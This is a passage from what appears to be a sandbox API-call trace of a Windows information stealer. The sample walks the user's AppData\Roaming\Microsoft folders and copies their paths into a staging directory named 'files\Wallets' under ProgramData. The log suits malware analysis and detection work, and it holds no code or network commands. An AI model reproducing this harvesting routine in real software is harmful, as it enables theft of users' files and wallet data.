lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0052.175] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*.*" [0052.175] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a3c0 [0052.175] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0052.175] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\" [0052.175] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\." [0052.175] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033" [0052.175] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\" [0052.176] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\." [0052.176] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.176] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.176] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0052.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\" [0052.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\.." [0052.176] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033" [0052.176] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\" [0052.176] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\.." [0052.176] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.176] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.176] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.176] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0052.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\" [0052.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0052.176] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033" [0052.176] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\" [0052.176] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\", lpString2="16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16" [0052.176] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0052.176] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0052.176] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0052.176] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*.*" [0052.176] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a180 [0052.182] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0052.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\" [0052.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\." [0052.182] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16" [0052.182] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\" [0052.182] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\." [0052.182] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.182] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.182] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0052.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\" [0052.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\.." [0052.182] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16" [0052.182] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\" [0052.182] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\.." [0052.182] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.182] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.182] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.182] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0052.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\" [0052.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="Built-In Building Blocks.dotx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" [0052.182] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16" [0052.182] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\" [0052.182] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\", lpString2="Built-In Building Blocks.dotx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" [0052.182] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.182] FindClose (in: hFindFile=0x58a180 | out: hFindFile=0x58a180) returned 1 [0052.183] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.183] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.183] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.183] FindClose (in: hFindFile=0x589f40 | out: hFindFile=0x589f40) returned 1 [0052.183] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.183] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.183] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.183] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Excel" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" [0052.183] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.183] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.183] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Excel" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel" [0052.183] lstrcmpW (lpString1="Excel", lpString2=".") returned 1 [0052.183] lstrcmpW (lpString1="Excel", lpString2="..") returned 1 [0052.183] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" [0052.183] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*.*" [0052.183] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a180 [0052.186] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" [0052.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\" [0052.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\." [0052.186] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel" [0052.186] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\" [0052.186] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\." [0052.186] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.186] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.186] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" [0052.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\" [0052.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\.." [0052.186] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel" [0052.186] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\" [0052.186] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\.." [0052.186] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.186] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.186] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.186] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" [0052.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\" [0052.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="XLSTART" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0052.187] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel" [0052.187] lstrcatW (in: 